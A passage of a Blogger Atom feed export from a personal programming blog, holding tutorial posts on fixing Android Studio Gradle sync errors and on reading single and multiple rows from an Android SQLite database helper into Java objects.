normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;strong&gt;forEach()
&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;strong&gt;and
etc.&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6327730907024515487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2015/07/java-8-lambda-functional-interfaces.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6327730907024515487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6327730907024515487'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2015/07/java-8-lambda-functional-interfaces.html' title='Java 8 - Lambda &amp; Functional Interfaces'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-2649440207063549402</id><published>2014-08-30T05:03:00.004-07:00</published><updated>2014-08-30T05:03:48.043-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>How to solve Gradle project sync failed error in Android Studio</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Before Android Studio I was using MotoDev an android IDE by Motorola. But, I found Android Studio which was developed on IDEA. Whenever we create a new project using Android Studio it develops on Gradle. A very common problem with Gradle that if we don&#39;t have internet then it fails building your project and gives an exception:&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;background-color: white; border: 0px; font-family: &#39;Trebuchet MS&#39;, &#39;Liberation Sans&#39;, &#39;DejaVu Sans&#39;, sans-serif; line-height: 1.3; margin: 0px 0px 7px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;span style=&quot;font-size: 23px;&quot;&gt;&amp;nbsp;&lt;/span&gt;Gradle project sync failed error&lt;/blockquote&gt;
This error caused because it always try to find libraries over Internet and when it fails to find the dependencies then it fails. So, in order to execute you project offline you must need to fix this project setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Click on Invalidate Caches/Restart from the File Menu&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEFnwMpTefWQrEpdE6peZhnmnZcIJHI7BaOUsvUHbKQSEeL2W5owXXHcMZatsXvxuZ_r471am4f9DCYc9JOguz6tUaJt5OHsfQ-k8ZTm6o4OPWuIx0p-xlxtC3OWXnA4bUnnfu4Hvh0hJ/s1600/Screenshot+from+2014-08-30+16:41:55.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEFnwMpTefWQrEpdE6peZhnmnZcIJHI7BaOUsvUHbKQSEeL2W5owXXHcMZatsXvxuZ_r471am4f9DCYc9JOguz6tUaJt5OHsfQ-k8ZTm6o4OPWuIx0p-xlxtC3OWXnA4bUnnfu4Hvh0hJ/s1600/Screenshot+from+2014-08-30+16:41:55.png&quot; height=&quot;320&quot; width=&quot;187&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Click on Invalidate and Restart&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEjbfZsrq81y6q8ewSE218LCwuxUmh7kCBDPEEJtE38qJb5ZZ1KERqWQuwoQnhLxpmDCq3nXkdhdoeS6T6ps4h5WvFzB2_T-hLLOX_QnE3ZRbvYBKrO6bZ8KyxZo8XjecHWp83wIeHnIe/s1600/Screenshot+from+2014-08-30+16:42:42.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEjbfZsrq81y6q8ewSE218LCwuxUmh7kCBDPEEJtE38qJb5ZZ1KERqWQuwoQnhLxpmDCq3nXkdhdoeS6T6ps4h5WvFzB2_T-hLLOX_QnE3ZRbvYBKrO6bZ8KyxZo8XjecHWp83wIeHnIe/s1600/Screenshot+from+2014-08-30+16:42:42.png&quot; height=&quot;80&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, &#39;Liberation Sans&#39;, &#39;DejaVu Sans&#39;, sans-serif; font-size: 14px; line-height: 17.804800033569336px;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Let it download all the Gradle stuff it needs once, Gradle build success !&lt;/li&gt;
&lt;li&gt;Rebuild project. After successful build of the project you may able to build your project offline.&lt;/li&gt;
&lt;/ul&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/2649440207063549402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/08/how-to-solve-gradle-project-sync-failed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/2649440207063549402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/2649440207063549402'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/08/how-to-solve-gradle-project-sync-failed.html' title='How to solve Gradle project sync failed error in Android Studio'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEFnwMpTefWQrEpdE6peZhnmnZcIJHI7BaOUsvUHbKQSEeL2W5owXXHcMZatsXvxuZ_r471am4f9DCYc9JOguz6tUaJt5OHsfQ-k8ZTm6o4OPWuIx0p-xlxtC3OWXnA4bUnnfu4Hvh0hJ/s72-c/Screenshot+from+2014-08-30+16:41:55.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-5118730761009658139</id><published>2014-08-27T13:25:00.003-07:00</published><updated>2014-08-27T13:25:32.731-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Read Multiple Rows from Android SQLite Helper</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
This blog is in
continuity with my previous three posts which were related to
&lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/android-database-helper.html&quot;&gt;creation of a database helper class&lt;/a&gt;, &lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/insert-new-record-into-sqlite-database.html&quot;&gt;insertion of new data entry intothe table &lt;/a&gt;and &lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/read-one-record-from-sqlite-android.html&quot;&gt;selection of a record from the database&lt;/a&gt;. After creating
database in android and open the connection we had to add entries
into the database. And after that we have seen how to select a single
record from the database. 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
But now it&#39;s time to
move to more advance level of retrieving records from the table. And
now we must need to select multiple records from the table and
populate it to the collection of POJO. (&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot;&gt;PreferenceInfo.java&lt;/a&gt;)&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to retrieve
a stored record into database we had to provide an identity value
which will search the record into table against that id. But, here we
are planning to search all the records from the database.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
A List is a
collection which maintains an ordering for its elements. 
Every
element in the List has an index. Each element can thus be accessed
by its index,
 with the first index being zero. Normally, Lists allow
duplicate elements, 
as compared to Sets, where elements have to be
unique. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public
List&amp;lt;PreferenceInfo&amp;gt; getAllUsers(){&lt;br /&gt;
  List&amp;lt;PreferenceInfo&amp;gt;
preferenceInfos = new ArrayList&amp;lt;PreferenceInfo&amp;gt;();
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
This time query must
not contain any kind of selection criteria and should remain wild.  &lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
String query =
&quot;select * from &quot; + REGISTER_TABLE;
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now, we must need a
connection in order to execute this query. This time we are planning
to executing a raw query so will need a Writable Database object.  
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
  &lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
 SQLiteDatabase db =
this.getWritableDatabase();
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here, we must need
to store the results into the Cursor so that we can retrieve every
single row and assign it to the POJO. Once things will be done we
will start adding it to the list after each row population.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Cursor cursor =
db.rawQuery(query, null);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
  
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Iterating over each
row, building POJO and adding it to list
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
  PreferenceInfo
prefInfo = null;
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Move the cursor to
the first row. This method will return false if the cursor is empty.
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
if(cursor.moveToFirst()){&lt;br /&gt;
   do{&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Refreshing object in
each iteration and assigning new values from the cursor.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
    prefInfo = new
PreferenceInfo();
&lt;br /&gt;    prefInfo.setSecurityNumber(Integer.parseInt(cursor.getString(0)));
&lt;br /&gt;    prefInfo.setEmail(cursor.getString(1));&lt;br /&gt;
    prefInfo.setPassword(cursor.getString(2));&lt;br /&gt;
      
prefInfo.setUserName(cursor.getString(3));     
&lt;br /&gt;      
prefInfo.setMobileNumber(cursor.getString(4));
&lt;br /&gt;      
prefInfo.setKeyMessage(cursor.getString(5));&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
       
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Adding each object
to the list
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
      
preferenceInfos.add(prefInfo);&lt;br /&gt;     
   }while(cursor.moveToNext());&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Move the cursor to
the first row. This method will return false if the cursor is empty.
And after completion of iteration we will simply return the list to
the method.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
   
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
 &lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&amp;nbsp; return
preferenceInfos;
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 13.199999809265137px;&quot;&gt;If you find it helpful kindly click the donate button on the top of page. Also added an attachment of the files used in this blog which can bee seen by clicking on links below:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 13.199999809265137px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 13.199999809265137px;&quot;&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot;&gt;PreferenceInfo.java&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8COVRuZXY4dGhnM0U/edit?usp=sharing&quot;&gt;AndroidHelper.java&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/5118730761009658139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/08/read-multiple-rows-from-android-sqlite.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5118730761009658139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5118730761009658139'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/08/read-multiple-rows-from-android-sqlite.html' title='Read Multiple Rows from Android SQLite Helper'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-5621187518913610500</id><published>2014-08-27T12:55:00.001-07:00</published><updated>2014-08-27T13:26:58.689-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Read One Record from SQLite Android Helper</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
This blog is in
continuity with my previous two posts which was related to &lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/android-database-helper.html&quot;&gt;creation of a database helper &lt;/a&gt;class and &lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/insert-new-record-into-sqlite-database.html&quot;&gt;insertion of new data entry into the table&lt;/a&gt;. After creating database in android and open the connection we
had to add entries into the database. But, as we are already done with the insertion of records into the table. So, now it&#39;s time to search for the added record.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
So, here we will use&amp;nbsp;&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot;&gt;PreferenceInfo&lt;/a&gt;&amp;nbsp;POJO for assigning retrieved values to the object.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
in order to retrieve
a stored record into database we must need to provide an identity
value which will search the record into table against that id.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public
PreferenceInfo getUser(int id){&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
As I have already
mentioned in my previous two blogs; we must need to get a
readabledatabase object because here we only need to read a database.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
SQLiteDatabase
db=null;&lt;br /&gt;
// 1. get
reference to readable DB&lt;br /&gt;
try{&lt;br /&gt;
db =
this.getReadableDatabase();&lt;br /&gt;
}catch (Exception
e){&lt;br /&gt;
Toast.makeText(currentContext,
&quot;database cannot be opened&quot;, Toast.LENGTH_LONG);
&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now like the
database we must need to initialize the cursor. Cursor interface
provides random read-write access to the result set returned by a
database query.   
So, now we must need to build query:&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Cursor cursor =&lt;br /&gt;
db.query(REGISTER_TABLE, // a. table&lt;br /&gt;
COLUMNS, // b. column names&lt;br /&gt;
SECURITY_NUMBER +&quot;  = ?&quot;, // c. selections&lt;br /&gt;
new
String[] { String.valueOf(id) }, // d. selections args&lt;br /&gt;
null,
// e. group by&lt;br /&gt;
null,
// f. having&lt;br /&gt;
null,
// g. order by&lt;br /&gt;
null);
// h. limit
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now, we must need to
check for the cursor, if results will be returned then cursor will be
populated else it will remain null.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
if (cursor !=
null)&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
after validating the
cursor, we must need to move the cursor to the first row. This method
will return false if the cursor is empty. Here, we are retrieving
only one record because we know that for each identity only one
record exist into the table.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
cursor.moveToFirst();
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now we must need to
populate the data from table into the POJO and then return the object
into that method.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
PreferenceInfo
preferenceInfo = new PreferenceInfo();
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now we will get the
values from the zero-based index of the target column and will set
into the relevant property of POJO using the setters.
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
preferenceInfo.setSecurityNumber(Integer.parseInt(cursor.getString(0)));
&lt;br /&gt;
preferenceInfo.setEmail(cursor.getString(1));
&lt;br /&gt;
preferenceInfo.setPassword(cursor.getString(2));
&lt;br /&gt;
preferenceInfo.setUserName(cursor.getString(3));    
&lt;br /&gt;
preferenceInfo.setMobileNumber(cursor.getString(4));
&lt;br /&gt;
preferenceInfo.setKeyMessage(cursor.getString(5));&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
After complete
transformation of cursor to object, we will return the object back to
the method.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
return
preferenceInfo;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 13.199999809265137px;&quot;&gt;If you find it helpful kindly click the donate button on the top of page. Also added an attachment of the files&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 13.199999809265137px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now, the updated
&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8Cb3R5ckx6SUVQcHM/edit?usp=sharing&quot;&gt;DatabaseHelper&lt;/a&gt; file and &lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot;&gt;PreferenceInfo.java&lt;/a&gt; file&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/5621187518913610500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/08/read-one-record-from-sqlite-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5621187518913610500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5621187518913610500'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/08/read-one-record-from-sqlite-android.html' title='Read One Record from SQLite Android Helper'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-5039998738997884401</id><published>2014-08-27T12:28:00.004-07:00</published><updated>2014-08-27T12:29:00.278-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Insert new record into SQLite Database Android</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;line-height: 100%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 100%;&quot;&gt;This blog is in
continuity with my previous &lt;a href=&quot;http://wakirmani.blogspot.com/2014/08/android-database-helper.html&quot;&gt;post&lt;/a&gt; which was related to creation of a
database helper class. After creating database in android and open
the connection we need to add entries into the database.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 100%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 100%;&quot;&gt;But before that we
just need to create a POJO (Plain Old Java Object) for the table so
that we can store the values and directly send it to the database.
